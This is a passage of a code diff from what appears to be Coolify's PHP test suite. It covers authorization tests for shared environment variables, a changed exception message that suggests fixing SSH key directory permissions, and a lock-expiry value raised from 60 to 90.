$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->update($user, $model))->toBeFalse();
});
it('allows team admin to delete shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->delete($user, $model))->toBeTrue();
});
it('denies team member to delete shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->delete($user, $model))->toBeFalse();
});
it('denies restore of shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->restore($user, $model))->toBeFalse();
});
it('denies force delete of shared environment variable', function () {
$user = Mockery::mock(User::class)->makePartial();
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->forceDelete($user, $model))->toBeFalse();
});
it('allows team admin to manage environment', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->manageEnvironment($user, $model))->toBeTrue();
});
it('denies team member to manage environment', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
$model = new class
{
public $team_id = 1;
};
$policy = new SharedEnvironmentVariablePolicy;
expect($policy->manageEnvironment($user, $model))->toBeFalse();
});
+1 -1
View File
@@ -112,7 +112,7 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
);
$this->expectException(\Exception::class);
$this->expectExceptionMessage('SSH keys storage directory is not writable');
$this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
PrivateKey::createAndStore([
'name' => 'Test Key',
+1 -1
View File
@@ -24,7 +24,7 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
$expiresAfterProperty->setAccessible(true);
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
expect($expiresAfter)->toBe(60)
expect($expiresAfter)->toBe(90)
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
// Check releaseAfter is NOT set (we use dontRelease)